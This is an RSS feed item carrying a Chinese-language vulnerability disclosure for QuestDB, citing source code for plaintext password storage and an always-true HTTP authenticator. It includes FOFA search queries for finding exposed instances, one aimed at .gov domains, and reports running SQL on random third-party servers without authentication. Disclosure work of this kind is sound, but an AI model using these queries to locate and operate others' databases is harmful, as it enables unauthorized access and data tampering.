<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: 钟智强</title>
    <description>The latest articles on Forem by 钟智强 (@ctkqiang).</description>
    <link>https://forem.com/ctkqiang</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F115949%2F7e18f2a9-e8e0-47ec-b79a-5c11bc22ff9f.jpeg</url>
      <title>Forem: 钟智强</title>
      <link>https://forem.com/ctkqiang</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/ctkqiang"/>
    <language>en</language>
    <item>
      <title>QuestDB 爆高危漏洞：无需密码，即可掌控你的数据库！附漏洞细节与临时缓解方案</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Sat, 23 May 2026 07:03:42 +0000</pubDate>
      <link>https://forem.com/ctkqiang/questdb-bao-gao-wei-lou-dong-wu-xu-mi-ma-ji-ke-zhang-kong-ni-de-shu-ju-ku-fu-lou-dong-xi-jie-yu-lin-shi-huan-jie-fang-an-3d70</link>
      <guid>https://forem.com/ctkqiang/questdb-bao-gao-wei-lou-dong-wu-xu-mi-ma-ji-ke-zhang-kong-ni-de-shu-ju-ku-fu-lou-dong-xi-jie-yu-lin-shi-huan-jie-fang-an-3d70</guid>
      <description>&lt;h1&gt;
  
  
  QuestDB 安全漏洞综合评估报告
&lt;/h1&gt;

&lt;p&gt;版本: v8.0 - v9.3.3&lt;/p&gt;

&lt;p&gt;本报告对 QuestDB 数据库系统进行了全面的安全性评估，重点关注认证与授权机制、密码存储方式、配置管理、会话处理以及输入验证等关键安全环节。评估共发现9项安全缺陷，其中5项被认定为高危漏洞，包括完全缺失的 HTTP 认证、明文存储密码、默认配置存在高风险等。攻击者可利用上述漏洞实施未授权数据访问、权限提升、拒绝服务攻击，甚至完全控制目标数据库实例。报告为每一项漏洞提供了详细描述、概念验证代码（POC）、修复建议及修复优先级，并附有指向指定 GitHub 仓库中相关代码的具体定位指南。&lt;/p&gt;

&lt;p&gt;此外，本报告修订版旨在进一步明确之前提交内容中的安全风险对应编号：CNVD-C-2026-84827，提请审核方予以重视并重新审阅。不是配置错了，是代码写错了....&lt;/p&gt;

&lt;p&gt;QuestDB 数据库系统存在多处安全缺陷，涵盖输入验证、密码存储、认证授权及 TLS 配置等方面。其中认证与授权机制存在根本性设计错误，非配置问题，而是核心代码层面的缺陷。&lt;/p&gt;

&lt;h3&gt;
  
  
  个最要命的问题
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;密码明文存储和默认配置完全禁用认证&lt;/p&gt;

&lt;p&gt;用户密码&lt;strong&gt;未经过任何哈希处理&lt;/strong&gt;，以明文（RAW STRING）形式直接存储。任何能访问文件系统或备份的人均可直接获取所有密码，严重违反密码存储安全规范。&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="nf"&gt;verifyPassword&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;CharSequence&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;passwordPtr&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;passwordLen&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serverConfig&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;serverConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getVersion&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;serverConfigVersion&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;writeLock&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;tryLock&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="c1"&gt;// Update the cached pgwire config, if no one did it in front of us&lt;/span&gt;
                    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serverConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getVersion&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;serverConfigVersion&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                        &lt;span class="c1"&gt;// Update the default and readonly user password sinks&lt;/span&gt;
                        &lt;span class="n"&gt;defaultPassword&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;clear&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
                        &lt;span class="n"&gt;defaultPassword&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pgWireConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefaultPassword&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
                        &lt;span class="n"&gt;readOnlyPassword&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;clear&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
                        &lt;span class="n"&gt;readOnlyPassword&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pgWireConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getReadOnlyPassword&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
                        &lt;span class="n"&gt;serverConfigVersion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;serverConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getVersion&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
                    &lt;span class="o"&gt;}&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;writeLock&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;unlock&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readLock&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;lock&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;AUTH_TYPE_NONE&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Chars&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pgWireConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefaultUsername&lt;/span&gt;&lt;span class="o"&gt;()))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;verifyPassword&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;defaultPassword&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passwordPtr&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passwordLen&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pgWireConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isReadOnlyUserEnabled&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nc"&gt;Chars&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pgWireConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getReadOnlyUsername&lt;/span&gt;&lt;span class="o"&gt;()))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;verifyPassword&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readOnlyPassword&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passwordPtr&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passwordLen&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;AUTH_TYPE_NONE&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readLock&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;unlock&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="nf"&gt;verifyPassword&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;DirectUtf8Sink&lt;/span&gt; &lt;span class="n"&gt;expectedPwd&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;passwordPtr&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;passwordLen&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Utf8s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expectedPwd&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passwordPtr&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passwordLen&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;AUTH_TYPE_CREDENTIALS&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;AUTH_TYPE_NONE&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;匿名认证器恒真和会话认证逻辑错误&lt;/p&gt;

&lt;p&gt;&lt;code&gt;AnonymousAuthenticator.authenticate()&lt;/code&gt; 方法始终返回 &lt;code&gt;true&lt;/code&gt;无论是否提供凭证，所有请求均被视为已认证通过，认证机制形同虚设。&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AnonymousHttpAuthenticator&lt;/span&gt; &lt;span class="kd"&gt;implements&lt;/span&gt; &lt;span class="nc"&gt;HttpAuthenticator&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;AnonymousHttpAuthenticator&lt;/span&gt; &lt;span class="no"&gt;INSTANCE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AnonymousHttpAuthenticator&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

    &lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;authenticate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpRequestHeader&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;CharSequence&lt;/span&gt; &lt;span class="nf"&gt;getPrincipal&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;code&gt;isAuthenticated()&lt;/code&gt; 方法在会话对象为 &lt;code&gt;null&lt;/code&gt; 时返回 &lt;code&gt;true&lt;/code&gt;。 正确的逻辑应该是， 会话不存在应视为未认证，返回 &lt;code&gt;false&lt;/code&gt;。未认证会话被误判为已认证，攻击者可绕过会话验证。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输入验证。&lt;/p&gt;

&lt;p&gt;SQL 编译使用了参数化查询，一定程度上降低了注入风险。输入检查不够严格，恶意构造可能导致异常，进而引发拒绝服务。输入检查不够严格，恶意构造可能导致异常，进而引发拒绝服务。&lt;/p&gt;

&lt;p&gt;参考 :  &lt;a href="https://github.com/questdb/questdb/blob/master/core/src/main/java/io/questdb/griffin/SqlCompilerImpl.java" rel="noopener noreferrer"&gt;https://github.com/questdb/questdb/blob/master/core/src/main/java/io/questdb/griffin/SqlCompilerImpl.java&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TLS 与配置问题&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;官方文档摘要:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;QuestDB 支持 TLS 加密，涵盖 ILP/TCP、PGWire、HTTP 协议。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;支持 TLS v1.2/v1.3，证书需 PEM 格式，支持热加载（&lt;code&gt;SELECT reload_tls();&lt;/code&gt;）。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;配置方式：全局启用或按协议单独启用（如 &lt;code&gt;http.tls.enabled=true&lt;/code&gt;）。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;配置系统支持环境变量、&lt;code&gt;server.conf&lt;/code&gt;、秘密文件（&lt;code&gt;_FILE&lt;/code&gt; 后缀），部分参数支持热重载（&lt;code&gt;SELECT reload_config();&lt;/code&gt;）&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  实测验证
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;  在公网服务器严格按照文档配置 TLS：
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http.tls.enabled&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true
&lt;/span&gt;http.tls.cert.path&lt;span class="o"&gt;=&lt;/span&gt;my_http.pem
http.tls.private.key.path&lt;span class="o"&gt;=&lt;/span&gt;private_key_http
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;仍然可以绕过 TLS 加密直接访问数据库。此问题&lt;strong&gt;并非配置层面失误&lt;/strong&gt;，而是底层认证缺失导致即使配置 TLS，认证缺陷依然存在，攻击者可跳过加密层直接操作数据。&lt;/p&gt;




&lt;p&gt;为证明此问题并非个例配置失误，而是QuestDB系统本身的根本性缺陷，笔者通过FOFA搜索引擎对随机公网IP进行抽样检测。具体方法为&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"9000"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"QuestDB"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;country&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"CN"&lt;/span&gt; 

或

&lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"9000"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"QuestDB"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;country&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"CN"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;".gov"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;获取随机实例，随后直接访问其&lt;code&gt;/exec&lt;/code&gt;接口并携带SQL查询语句。验证结果表明，大量随机IP地址上的QuestDB实例均可在&lt;strong&gt;无需任何认证&lt;/strong&gt;的情况下直接执行任意SQL查询，包括数据读取、修改及删除操作。附图为随机IP的实测结果，清晰展示未经认证即可通过&lt;code&gt;/exec&lt;/code&gt;接口操作数据库。此实证表明，无论具体配置如何，QuestDB默认的HTTP接口认证机制在代码层面即存在完全失效的问题，攻击者可批量扫描并完全控制暴露于公网的实例。&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Fff33248d8824404290f1e796d5e4a972~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DGeePq%252FJcuo0Sub7Cn0DXGo0XQM4%253D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Fff33248d8824404290f1e796d5e4a972~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DGeePq%252FJcuo0Sub7Cn0DXGo0XQM4%253D" alt="截屏2026-03-04 下午11.14.35.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;以下为随机IP实例的访问截图，清晰展示无需输入任何用户名及密码即可直接进入QuestDB Web控制台并执行SQL查询，进一步佐证了认证机制的缺失。&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Fefc0a6b29e63418786d7e878caacd260~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DV4iflvQ%252B6bYnJqLGUpWl54L3X%252B0%253D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Fefc0a6b29e63418786d7e878caacd260~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DV4iflvQ%252B6bYnJqLGUpWl54L3X%252B0%253D" alt="截屏2026-03-04 下午11.17.56.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Fb78ad1848e4b4b2c8eb5b0a023ca8ecd~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DP0G%252BFS9tuKsO1%252B7bObSEZY%252BYhqU%253D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Fb78ad1848e4b4b2c8eb5b0a023ca8ecd~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DP0G%252BFS9tuKsO1%252B7bObSEZY%252BYhqU%253D" alt="截屏2026-03-04 下午11.18.20.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Fbb7ba16150884a118d7b18c667945bd0~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DJdF%252BDQG9SbaEShF3XQOrvMPM6jY%253D" class="article-body-image-wrapper"&gt;&lt;img 